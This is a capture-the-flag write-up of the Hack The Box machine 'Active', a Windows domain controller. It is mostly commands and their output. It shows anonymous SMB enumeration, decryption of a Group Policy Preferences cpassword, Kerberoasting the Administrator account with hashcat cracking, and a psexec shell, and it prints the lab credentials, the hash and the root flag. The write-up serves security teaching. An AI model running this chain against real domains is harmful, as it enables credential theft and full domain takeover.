

## Active\_write-up

### Enumeration / Information gathering - as an outsider

#### Nmap enumeration

- Nmap initial scan

```
sudo nmap -sC -sV 10.10.10.100 -v -oN Active_nmap
```

```
PORT      STATE SERVICE          VERSION
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2024-05-26 02:02:52Z)
135/tcp    open  msrpc           Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp    open  ldap           Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds?
464/tcp    open  tcpwrapped
593/tcp    open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped
3268/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped
49152/tcp  open  msrpc          Microsoft Windows RPC
49153/tcp  open  msrpc          Microsoft Windows RPC
49154/tcp  open  msrpc          Microsoft Windows RPC
49155/tcp  open  msrpc          Microsoft Windows RPC
49157/tcp  open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
49158/tcp  open  msrpc          Microsoft Windows RPC
49165/tcp  open  msrpc          Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
```

- > We see alot of ports open and we are most likely dealing with a domain controller.
- > We do see an smb share but nothing much is being showned. We can try and enumerate that more deeply using a combination of nmap scripts and manual techniques.
- > We also add the name active.htb to our host file:

```
10.10.10.100    active.htb
```

- Locating useful nmap scripts to scan

```
locate -r '\.nse$' | xargs grep categories | grep  
'default\|version\|safe' | grep smb
```

```

[*]$ locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|
safe' | grep smb
/usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse:categories = {"vuln", "s
afe", "malware"}
/usr/share/nmap/scripts/smb-enum-services.nse:categories = {"discovery", "intrus
ive", "safe"}
/usr/share/nmap/scripts/smb-ls.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb-mbenum.nse:categories = {"discovery", "safe"}
/usr/share/nmap/scripts/smb-os-discovery.nse:categories = {"default", "discover
y", "safe"}
/usr/share/nmap/scripts/smb-protocols.nse:categories = {"safe", "discovery"}
/usr/share/nmap/scripts/smb-security-mode.nse:categories = {"default", "discove
ry", "safe"}
/usr/share/nmap/scripts/smb-vuln-ms17-010.nse:categories = {"vuln", "safe"}
/usr/share/nmap/scripts/smb2-capabilities.nse:categories = {"safe", "discovery"
}
/usr/share/nmap/scripts/smb2-security-mode.nse:categories = {"safe", "discovery
", "default"}
/usr/share/nmap/scripts/smb2-time.nse:categories = {"discovery", "safe", "defau
lt"}
/usr/share/nmap/scripts/smb2-vuln-uptime.nse:categories = {"vuln", "safe"}

```

-> We see that the `smb-enum-services.nse` seems to be a good script to use (enumerate services) so we will try with enumerating using safe scripts.

```

sudo nmap --script safe -p 445 10.10.10.100

```

```

PORT      STATE SERVICE
445/tcp   open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
|_unusual-port:
|_ WARNING: this script depends on Nmap's service/version detection (-sV)
|_ smb2-security-mode:
|_ 2:1:0:
|_ Message signing enabled and required
|_ smb-protocols:
|_ dialects:
|_ 2:0:2
|_ 2:1:0
|_ _ipidseq: Incremental!
|_ _fcrdns: FAIL (No A record)
|_ smb2-time:
|_ date: 2024-05-26T02:19:01
|_ start_date: 2024-05-26T01:34:25
|_ smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_ port-states:
|_ tcp:
|_ open: 445
|_ dns-blacklist:
|_ SPAM

```

-> We see that not much more has been obtained, so we will enumerate it manual.

## SMB enumeration

- SMBClient listing shares with null session

```
smbclient -N -L //10.10.10.100
```

```

[★]$ smbclient -N -L //10.10.10.100
Anonymous login successful

ing to the Share

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC        Remote IPC
NETLOGON       Disk      Logon server share
Replication    Disk
SYSVOL         Disk      Logon server share
Users          Disk

```

-> We have access to some standard shares

- SMBMap to enumerate shares

```
smbmap -H 10.10.10.100
```

```

[★]$ smbmap -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: 10-10-10-100.tpgi.com.au
Disk
----
ADMIN$      NO ACCESS    Printer Drivers  NO ACCESS    Remote Admin
C$          NO ACCESS    INFREIGHT Samba  NO ACCESS    Default share
IPC$        NO ACCESS    BEVenv          NO ACCESS    Remote IPC
NETLOGON    NO ACCESS    CheckIT         NO ACCESS    Logon server share
Replication READ ONLY
SYSVOL      NO ACCESS    IPC Service (DEV  NO ACCESS    Logon server share
Users       NO ACCESS

```

-> We have a share Replication that we can read.

- Confirmation with CrackMapExec

```

crackmapexec smb 10.10.10.100 --shares -u '' -p ''
or
netexec smb 10.10.10.100 --shares -u '' -p ''

```

```
[*]$ netexec smb 10.10.10.100 --shares -u '' -p ''
```

```
SMB      10.10.10.100    445     DC           [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC)
```

```
omain:active.htb) (signing:True) (SMBv1=False)
```

```
SMB      10.10.10.100    445     DC           [+] active.htb\:
```

```
SMB      10.10.10.100    445     DC           [*] Enumerated shares
```

```
SMB      10.10.10.100    445     DC          Share            Permissions       Remark
```

```
SMB      10.10.10.100    445     DC          -----
```

```
SMB      10.10.10.100    445     DC          ADMIN$                               Remote Admin
```

```
SMB      10.10.10.100    445     DC          C$                                   Default share
```

```
SMB      10.10.10.100    445     DC          IPC$                                 Remote IPC
```

```
SMB      10.10.10.100    445     DC          NETLOGON                            Logon server share
```

```
SMB      10.10.10.100    445     DC          Replication             READ              
```

```
SMB      10.10.10.100    445     DC          SYSVOL                     Logon server share
```

```
SMB      10.10.10.100    445     DC          Users                      
```

-> Now we can attempt to read the shares.

- Reading shares through smbmap

```
smbmap -R Replication -H 10.10.10.100
```

```

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
fr--r--r-- 23 Sat Jul 21 20:38:11 2018 GPT.INI
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Group Policy
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 MACHINE
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 USER → Now we can attempt to read the shares.

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
fr--r--r-- 119 Sat Jul 21 20:38:11 2018 GPE.INI

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Microsoft
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Preferences
fr--r--r-- 2788 Sat Jul 21 20:38:11 2018 Registry.pol

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Windows NT

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\*
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 20:37:44 2018 Groups

```

-> We see alot of info but what stood out is the Groups directory in

.\Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\\* which somehow isn't further enumerated.

-> We know that for a every new group policy (GPP), an .xml file created on the SYSVOL share. Given that replication is a backup/copy of the SYSVOL share, we should be able to find .xml files related to it that creates credentials.

- Looking into the folder manually

```
smbclient -N //10.10.10.100/Replication

cd active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups

ls
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
.                GPP_AUTO... 1      D      0   Sat Jul 21 20:37:44 2018
..               GPP_AUTO... 1      D      0   Sat Jul 21 20:37:44 2018
Groups.xml       GPP_AUTO... 1      A    533  Thu Jul 19 06:46:06 2018
```

-> We will download the file Groups.xml

```
get Groups.xml
```

-> Or we can download all the files via

```
recurse ON
```

```
prompt off
```

```
mget *
```

then examine each file.

- Examining the file

```
!cat groups.xml
```

```
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> !cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

-> We can see an user with SVC\_TGS has changed his password stored in an encrypted format in cpassword, which we can decrypt as it is stored in an reversible format.

**Exploitation / Lateral movement - GPP decrypt on cpassword**

- Decrypting the cpassword using gpp-decrypt

```
gpp decrypt
edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5
aSVYdYw/NglVmQ
```

```
[*]$ gpp-decrypt edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

-> We obtained the credential: SVC\_TGS:GPPstillStandingStrong2k18

## Enumeration / Information Gathering - as SVC\_TGS on the Domain

AD enumeration

- Enumerating the shares via authenticated user

```
smbmap -u svc_tgs -p 'GPPstillStandingStrong2k18' -H 10.10.10.100
```

```
[*]$ smbmap -u svc_tgs -p 'GPPstillStandingStrong2k18' -H 10.10.10.100
[+] IP: 10.10.10.100:445      Name: active.htb
Disk
----
ADMIN$ing Group          > 10.10.10.2  NO ACCESS  Remote Admin
C$<Groups c$>            > 10.10.10.5  NO ACCESS  Default share
IPC$<User c$>            > 10.10.10.100 NO ACCESS  Remote IPC
NETLOGON                 > 10.10.10.100 READ ONLY  Logon server share
Replication              > 10.10.10.100 READ ONLY
SYSVOL                   > 10.10.10.100 READ ONLY  Logon server share
Users                    > 10.10.10.100 READ ONLY
```

-> We see that there are a few more shares we can read so let's download the files from the users share and examine it.

```
smbclient -U active.htb\\svc_tgs%GPPstillStandingStrong2k18
//10.10.10.100/Users
```

```
recurse ON
```

```
prompt off
```

```
mget *
```

```
smb: \> recurse ON
smb: \> prompt off $>
smb: \> mget *
getting file \desktop.ini of size 174 as desktop.ini (2.5 KiloBytes/sec) (average 2.5 KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \Administrator\*
NT_STATUS_STOPPED_ON_SYMLINK listing \All Users\*
getting file \Default\NTUSER.DAT of size 262144 as Default/NTUSER.DAT (1391.3 KiloBytes/sec) (average 806.1 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG of size 1024 as Default/NTUSER.DAT.LOG (15.6 KiloBytes/sec) (average 673.7 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG1 of size 95232 as Default/NTUSER.DAT.LOG1 (958.8 KiloBytes/sec) (average 731.4 KiloBytes/sec)
getting file \Default\NTUSER.DAT.LOG2 of size 0 as Default/NTUSER.DAT.LOG2 (0.0 KiloBytes/sec) (average 644.0 KiloBytes/sec)
getting file \Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf of size 65536 as Default/NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf (771.1 KiloBytes/sec) (average 660.8 KiloBytes/sec)
```

-> We looked at the shares and there are nothing interesting from the shares, so we will look into other methods enumerating active directory such as looking at kerberoastable users.

- Listing SPN accounts with GetUsersSPNs.py

```
GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/svc_tgs
locate getuserspns
```

```
[*]$ GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/svc_tgs
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Enumerating the shares via authenticated user
Password:
ServicePrincipalName Name MemberOf Password
dLastSet LastLogon Active Delegation
-----
active/CIFS:445 svc/spn Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-19 05:06:40.351723 2024-05-26 11:35:37.716557
```

-> We see that the Administrator user is Kerberoastable, so we can seek to exploit this.

## Privilege Escalation - To Domain Admin of active.htb through Kerberoasting administrator account

- We Kerberoast the administrator user

```
GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/svc_tgs -request-user administrator
```



```
[*] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$29c045ea01baf2dae4a15c566825e2ee$366df10fb
31476b6b91596d5a22b21029261118e827f7eb13edce27ec250a249040616bfe6a64b0a4e94c5038d4a900872cb06bcef484970c3
e9b64c9395af5f5a84b34fba4978c366bf2049424a91e4304547e97fe9e7e62cd7e3b51efd881fe057bc3fc9d3a0fd5498a2f99c8
c0168cd0ec3c2b5a533659dfbf31c887870783d352d86458b4fb7dada10464c4ae8bfa266b0552e13f0c8a36acc81380d4cfe99b64
47d15172a72ae06fb91ac1404c5bb0cef95d5aa35e9cbd5f9fd4a2d194245d29e3e56e7cd0afed54aa1b331e0d36932b25b833bb1c
afb49b012f97bd42d4abc58db8b28d0aaea5af011baac3d98c9caed721f5171d1083086f2642d863d300260e9304d9834bf1e5a090
5123ec887ef4a72aa0d27e4dd1bbfc41a8eb0f3ab66c61a42ec4371dea1f1b4c03b6fea3bf8be727e820f8c9a578a5f2ddf28a530e
ee65e0b0c213c945ef9422607232bdae9f8fd76ac103ae57fbfe88a83d8ecae6c7f578c6987d8b8da95b4f2a42c5e470cca6e2ecb6
0f122b7afb4e6e5a988f526c99bd7478b90e1e8a97f0895c289201caf040e01f7f07876f64737a1958a61a50f3f3151266b1a3d314
9fb3479a8a9bd139065196dafa33391c6fe54976d951777b72a15d194deb25294e6b38c6b96243c45fce2bf3dc053d33b082a396f9
190d65dca241606dbb81b2605d81ab2fed84fe54a358fb28e8fdab3c5c9a004127d1cf2ec530a778b04d8df0cd1b51e3d5d5b98be
89bb95fae620f6fb310cd4ad32a1ce38bf889f9d900d320d7dc301ea6da30b339ea62847e630b270d1948f41758ce9aac81f6f77f4
b4a55985936474bba32c5980fc8de5c5bdc819bdea8658bb2c024c7865120a6bb7b34a68f1e51ef24c66fb8e3bddc82047bf79c4c4
5eb17c37767cc22896e2c9eb2f5c1a4826f12586830f442371b10b182bb88863124063a0f74e5c7836a74cce2cd815419c3cffe87b
b58759baef16f8935eef42f7a9e9ee744408f2988f8858c3f744b60388797be0af1c857f55c07dbddd4a2517c7d5e34732d6e527f
3de99426addc9fffae42981b7cc23e308471e87a65b67165e8d3d033348152188e7db3bf826f844fea5e0f31ac739b08d1c2dda3ea
e54dc98fbd3bc9f95bf35dfa0efdd2484e6767a696bda6c1b7d2e643aac98177394f09a52dac7706292ae6958c029590193364314c
a535b39d71b09d4f88616946010b24e398eedc83d335ced0ce34c7e51f333a51650cc5778b2
```

- Cracking the hash

```
hashcat -m 13100 admin_tgs_hash /usr/share/wordlists/rockyou.txt
```

```
hashcat -m 13100 admin_tgs_hash /usr/share/wordlists/rockyou.txt --show
```

```
[*]$ hashcat -m 13100 admin_tgs_hash /usr/share/wordlists/rockyou.txt --show
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$29c045ea01baf2dae4a15c566825e2ee$366df10fb
31476b6b91596d5a22b21029261118e827f7eb13edce27ec250a249040616bfe6a64b0a4e94c5038d4a900872cb06bcef484970c3
e9b64c9395af5f5a84b34fba4978c366bf2049424a91e4304547e97fe9e7e62cd7e3b51efd881fe057bc3fc9d3a0fd5498a2f99c8
c0168cd0ec3c2b5a533659dfbf31c887870783d352d86458b4fb7dada10464c4ae8bfa266b0552e13f0c8a36acc81380d4cfe99b64
47d15172a72ae06fb91ac1404c5bb0cef95d5aa35e9cbd5f9fd4a2d194245d29e3e56e7cd0afed54aa1b331e0d36932b25b833bb1c
afb49b012f97bd42d4abc58db8b28d0aaea5af011baac3d98c9caed721f5171d1083086f2642d863d300260e9304d9834bf1e5a090
5123ec887ef4a72aa0d27e4dd1bbfc41a8eb0f3ab66c61a42ec4371dea1f1b4c03b6fea3bf8be727e820f8c9a578a5f2ddf28a530e
ee65e0b0c213c945ef9422607232bdae9f8fd76ac103ae57fbfe88a83d8ecae6c7f578c6987d8b8da95b4f2a42c5e470cca6e2ecb6
0f122b7afb4e6e5a988f526c99bd7478b90e1e8a97f0895c289201caf040e01f7f07876f64737a1958a61a50f3f3151266b1a3d314
9fb3479a8a9bd139065196dafa33391c6fe54976d951777b72a15d194deb25294e6b38c6b96243c45fce2bf3dc053d33b082a396f9
190d65dca241606dbb81b2605d81ab2fed84fe54a358fb28e8fdab3c5c9a004127d1cf2ec530a778b04d8df0cd1b51e3d5d5b98be
89bb95fae620f6fb310cd4ad32a1ce38bf889f9d900d320d7dc301ea6da30b339ea62847e630b270d1948f41758ce9aac81f6f77f4
b4a55985936474bba32c5980fc8de5c5bdc819bdea8658bb2c024c7865120a6bb7b34a68f1e51ef24c66fb8e3bddc82047bf79c4c4
5eb17c37767cc22896e2c9eb2f5c1a4826f12586830f442371b10b182bb88863124063a0f74e5c7836a74cce2cd815419c3cffe87b
b58759baef16f8935eef42f7a9e9ee744408f2988f8858c3f744b60388797be0af1c857f55c07dbddd4a2517c7d5e34732d6e527f
3de99426addc9fffae42981b7cc23e308471e87a65b67165e8d3d033348152188e7db3bf826f844fea5e0f31ac739b08d1c2dda3ea
e54dc98fbd3bc9f95bf35dfa0efdd2484e6767a696bda6c1b7d2e643aac98177394f09a52dac7706292ae6958c029590193364314c
a535b39d71b09d4f88616946010b24e398eedc83d335ced0ce34c7e51f333a51650cc5778b2:Ticketmaster1968
```

-> Obtained the administrator credential: administrator:Ticketmaster1968

- We can now psexec.py into the domain controller

```
psexec.py active.htb/administrator:'Ticketmaster1968'@10.10.10.100
```

```

[*]$ psexec.py active.htb/administrator:'Ticketmaster1968'@10.10.10.100
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[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file ihlxlsoj.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service EWHu on 10.10.10.100.....
[*] Starting service EWHu.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\users\administrator\Desktop\root.txt
e4da5e72e270a9936e1f2b3655df5672

```

-> Where we get the flag accordingly.